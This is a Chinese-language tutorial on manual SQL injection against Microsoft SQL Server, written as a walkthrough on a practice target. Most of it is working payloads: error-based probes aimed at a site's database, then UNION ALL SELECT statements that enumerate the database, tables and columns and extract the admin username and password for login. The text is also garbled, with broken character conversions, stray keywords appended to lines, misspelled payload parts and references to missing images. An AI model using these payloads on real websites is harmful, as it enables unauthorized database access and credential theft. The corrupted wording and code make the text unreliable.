前言sql
首先要對sql server進行初步的瞭解。
經常使用的所有變量
@@version:返回當前的Sql server安裝的版本、處理器體系結構、生成日期和操做系統。
@@servername:放回運行Sql server的本地服務器名稱
top
在sql server,沒有MySQL中的limit控制符,若是實現limit控制符功能則可使用top進行代替。數據庫
正文服務器
若是對方網站管理員沒有關閉錯誤消息提示,那麼網站
;declare @d int //判斷sql server 支持多行語句查詢spa
and (select count(1) from [sysobjects])>=0 //是否支持子查詢操作系統
and user >0 //獲取當前數據庫用戶名code
and db_name>0 //獲取當前數據庫名稱server
and (select count(1) from [sysobjects])>=0 //當前數據庫名blog
and 1=(select @@servername) //本地服務名it
這裏就不一一列舉了。
若是網站管理員關閉了錯誤提示,那就只能使用聯合查詢和盲注了。下面的靶場實例就是關閉錯誤頁面提示的狀況下,經過聯合查詢得到管理員帳號和密碼。
第一步,判斷注入點
經過觀察,發現公告的地方能夠進行嘗試,以下圖
點擊公告,而後我們 經過 and 1=1 和and 1=2 發現報錯, 說明這裏是注入點。以下圖
第二步,判斷字段數
經過 order by 語句,發現 order by 4 返回正常,order by 5 報錯,說明存在四個字段數,以下圖。
第三步,爆庫
使用聯合查詢,須要注意的是,使用聯合查詢時須要前面不可查詢,能夠將參數2改成-2,也能夠構造 and 1=2 兩種方式均可以。爲了不出現錯誤,四個字段,都用 null 代替,構造以下語句
union all select null,null,unll,unll
而後用數字依次代替,判斷回顯位置,發現第二個字段顯示在頁面中,將第二個null 替換爲 (select db_name()),具體語句爲
union all select 1,(select db_name()), null, null
結果爲下圖,爆出了數據庫
第四步,爆表
知道數據庫名後,構造以下語句,爆出表名
union all select 1,(select top 1 name from 庫名.dbo.sysobjects where xtype='u'), null,null
結果以下圖
第五步,爆字段
經過構造以下語句,能夠爆出全部字段,
union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null
結果以下圖
第六步,獲取數據
經過構造以下語句
union all select 1,(select top 1 username from manage),null,null union all select 1,(select top 1 password from manage),null,null
結果以下圖
第七步,解密,登錄。實戰結束
sql server(mssql)手工注入總結
第一步,判斷注入點。經過 and 1=1 和and 1=2 判斷,發現存在注入點,且爲數據型。第二步,判斷字段數 經過 order by 語句。第三步,判斷回顯位置 經過 union all select null,null,unll,unll 用數字依次替換,發現,第二個位置回顯到頁面上。第三步,爆庫,經過 union all select 1,(select db_name()), null, null (使用聯合查詢時,要使得前面不可查詢,因此將2改成-2)第四步,爆表,經過 union all select 1,(select top 1 name from 庫名.dbo.sysobjects where xtype='u'), null,null第五步,爆字段,經過 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (變換後面得數字1,能夠查詢出全部字段)第七步,獲取數據,經過 union all select1, (select top 1 字段 from 表名),null,null第八步,解密,登錄。